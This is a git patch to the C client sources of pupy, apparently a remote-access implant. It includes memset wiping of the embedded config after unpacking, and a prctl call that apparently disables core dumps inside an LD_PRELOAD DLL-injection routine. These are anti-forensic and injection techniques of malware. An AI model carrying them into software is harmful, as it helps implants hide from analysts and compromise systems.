From 4a3ed2fe8a3433cc35f05fe164e7309ff102f0bb Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Tue, 7 May 2019 17:54:42 +0300 Subject: [PATCH] clients: x86 doesn't support big alignment, so don't try --- client/sources-linux/pupy.c | 7 +++---- client/sources/pupy.c | 2 ++ 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c index cce5831a..d9d2468c 100644 --- a/client/sources-linux/pupy.c +++ b/client/sources-linux/pupy.c @@ -26,8 +26,7 @@ static const char module_doc[] = DOC("Builtins utilities for pupy"); -__attribute__((aligned(8192))) -static const char pupy_config[65536] = "####---PUPY_CONFIG_COMES_HERE---####\n"; +static char pupy_config[65536] = "####---PUPY_CONFIG_COMES_HERE---####\n"; static PyObject *ExecError; @@ -66,7 +65,7 @@ Py_get_pupy_config(PyObject *self, PyObject *args) ssize_t compressed_size = ntohl(pupy_lzma_length); config = PyObject_lzmaunpack(pupy_config+sizeof(int), compressed_size); - munmap(pupy_config+sizeof(int), compressed_size); + memset(pupy_config, 0xFF, compressed_size); Py_XINCREF(config); } @@ -144,7 +143,7 @@ static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args) close(fd); } -#ifdef Linux && !defined(DEBUG) +#if defined(Linux) && !defined(DEBUG) if (cleanup_workaround) prctl(4, 0, 0, 0, 0); #endif diff --git a/client/sources/pupy.c b/client/sources/pupy.c index 2951a8da..3e455fc1 100644 --- a/client/sources/pupy.c +++ b/client/sources/pupy.c @@ -102,6 +102,8 @@ Py_get_pupy_config(PyObject *self, PyObject *args) len.c[0] = pupy_config[3]; config = PyObject_lzmaunpack(pupy_config+sizeof(int), len.l); + memset(pupy_config, 0xFF, len.l); + Py_XINCREF(config); }